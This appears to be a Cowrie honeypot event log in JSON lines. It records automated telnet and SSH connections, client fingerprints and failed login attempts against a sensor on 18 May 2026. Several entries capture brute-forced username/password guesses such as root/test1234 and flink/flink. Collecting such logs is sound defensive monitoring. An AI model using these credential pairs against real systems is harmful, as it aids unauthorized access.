{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47244,"dst_ip":"10.17.0.5","dst_port":23,"session":"e30dedcf8f99","protocol":"telnet","message":"New connection: 152.42.224.71:47244 (10.17.0.5:23) [session: e30dedcf8f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:56.466126Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47254,"dst_ip":"10.17.0.5","dst_port":23,"session":"901b66607446","protocol":"telnet","message":"New connection: 152.42.224.71:47254 (10.17.0.5:23) [session: 901b66607446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:57.478458Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47268,"dst_ip":"10.17.0.5","dst_port":23,"session":"86d9803b8bc5","protocol":"telnet","message":"New connection: 152.42.224.71:47268 (10.17.0.5:23) [session: 86d9803b8bc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:39:57.949108Z"}
{"eventid":"cowrie.session.closed","duration":39.724881410598755,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:00.154587Z","src_ip":"152.42.224.71","session":"57f279b51580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48948,"dst_ip":"159.203.135.109","dst_port":22,"session":"44441426b1e9","protocol":"ssh","message":"New connection: 31.40.204.166:48948 (159.203.135.109:22) [session: 44441426b1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:00.806773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:00.816995Z","src_ip":"31.40.204.166","session":"44441426b1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:01.220104Z","src_ip":"31.40.204.166","session":"44441426b1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:02.091344Z","src_ip":"31.40.204.166","session":"44441426b1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.4119975566864,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:02.618911Z","src_ip":"152.42.224.71","session":"1e7fd1fb7554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:03.290443Z","src_ip":"31.40.204.166","session":"44441426b1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.077088594436646,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:04.129362Z","src_ip":"152.42.224.71","session":"03eaf14f80cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47278,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4154635948","protocol":"telnet","message":"New connection: 152.42.224.71:47278 (10.17.0.5:23) [session: 7d4154635948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:04.200747Z"}
{"eventid":"cowrie.session.closed","duration":94.04682207107544,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:04.411949Z","src_ip":"152.42.224.71","session":"519aa479f0c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46742,"dst_ip":"10.17.0.5","dst_port":23,"session":"da1ed65c8422","protocol":"telnet","message":"New connection: 152.42.224.71:46742 (10.17.0.5:23) [session: da1ed65c8422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:05.869892Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47286,"dst_ip":"10.17.0.5","dst_port":23,"session":"420afac84327","protocol":"telnet","message":"New connection: 152.42.224.71:47286 (10.17.0.5:23) [session: 420afac84327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:06.291151Z"}
{"eventid":"cowrie.session.closed","duration":44.27964448928833,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:07.274459Z","src_ip":"152.42.224.71","session":"743d9dccf801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60802,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e46b86e0d01","protocol":"ssh","message":"New connection: 31.40.204.166:60802 (159.203.135.109:22) [session: 5e46b86e0d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:13.500358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:13.527823Z","src_ip":"31.40.204.166","session":"5e46b86e0d01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:13.697804Z","src_ip":"31.40.204.166","session":"5e46b86e0d01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:14.123974Z","src_ip":"31.40.204.166","session":"5e46b86e0d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:15.505735Z","src_ip":"31.40.204.166","session":"5e46b86e0d01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.53469657897949,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:18.736102Z","src_ip":"152.42.224.71","session":"1cbe034db1b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41548,"dst_ip":"10.17.0.5","dst_port":23,"session":"4589ab2bc46f","protocol":"telnet","message":"New connection: 152.42.224.71:41548 (10.17.0.5:23) [session: 4589ab2bc46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:20.395074Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54022,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cbb5c3ed805","protocol":"ssh","message":"New connection: 31.40.204.166:54022 (159.203.135.109:22) [session: 6cbb5c3ed805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:25.611860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:25.700838Z","src_ip":"31.40.204.166","session":"6cbb5c3ed805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:25.800392Z","src_ip":"31.40.204.166","session":"6cbb5c3ed805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59710,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fb8db36c1d9","protocol":"telnet","message":"New connection: 152.42.224.71:59710 (10.17.0.5:23) [session: 6fb8db36c1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:26.237870Z"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:26.518656Z","src_ip":"31.40.204.166","session":"6cbb5c3ed805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:27.693782Z","src_ip":"31.40.204.166","session":"6cbb5c3ed805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":88.27742075920105,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:28.344807Z","src_ip":"152.42.224.71","session":"d1545eba0e4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.40791940689087,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:33.249286Z","src_ip":"152.42.224.71","session":"cac5317bba88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45914,"dst_ip":"159.203.135.109","dst_port":22,"session":"4536a2512997","protocol":"ssh","message":"New connection: 31.40.204.166:45914 (159.203.135.109:22) [session: 4536a2512997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:37.982908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:38.021750Z","src_ip":"31.40.204.166","session":"4536a2512997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:38.203376Z","src_ip":"31.40.204.166","session":"4536a2512997","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:38.994113Z","src_ip":"31.40.204.166","session":"4536a2512997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:40.185625Z","src_ip":"31.40.204.166","session":"4536a2512997","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58776,"dst_ip":"10.17.0.5","dst_port":23,"session":"fca84794c197","protocol":"telnet","message":"New connection: 152.42.224.71:58776 (10.17.0.5:23) [session: fca84794c197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:47.479286Z"}
{"eventid":"cowrie.session.closed","duration":43.78084111213684,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:47.981419Z","src_ip":"152.42.224.71","session":"7d4154635948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56944,"dst_ip":"159.203.135.109","dst_port":22,"session":"e41d902db2a4","protocol":"ssh","message":"New connection: 31.40.204.166:56944 (159.203.135.109:22) [session: e41d902db2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:51.383364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:51.418190Z","src_ip":"31.40.204.166","session":"e41d902db2a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:51.515842Z","src_ip":"31.40.204.166","session":"e41d902db2a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:52.121880Z","src_ip":"31.40.204.166","session":"e41d902db2a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.98616099357605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:52.381099Z","src_ip":"152.42.224.71","session":"4589ab2bc46f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:53.301082Z","src_ip":"31.40.204.166","session":"e41d902db2a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00295448303223,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:55.687850Z","src_ip":"152.42.224.71","session":"32ec27990962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58792,"dst_ip":"10.17.0.5","dst_port":23,"session":"15fd47ed9368","protocol":"telnet","message":"New connection: 152.42.224.71:58792 (10.17.0.5:23) [session: 15fd47ed9368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:55.803848Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":52494,"dst_ip":"159.203.135.109","dst_port":22,"session":"ded9f25d7dfd","protocol":"ssh","message":"New connection: 194.113.233.25:52494 (159.203.135.109:22) [session: ded9f25d7dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:56.604681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:56.609841Z","src_ip":"194.113.233.25","session":"ded9f25d7dfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:56.704697Z","src_ip":"194.113.233.25","session":"ded9f25d7dfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maks","message":"login attempt [root/maks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:56.990009Z","src_ip":"194.113.233.25","session":"ded9f25d7dfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:58.087106Z","src_ip":"194.113.233.25","session":"ded9f25d7dfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":53602,"dst_ip":"159.203.135.109","dst_port":22,"session":"db5965551ea7","protocol":"ssh","message":"New connection: 94.159.110.201:53602 (159.203.135.109:22) [session: db5965551ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:58.372009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:40:58.376318Z","src_ip":"94.159.110.201","session":"db5965551ea7","protocol":"ssh"}
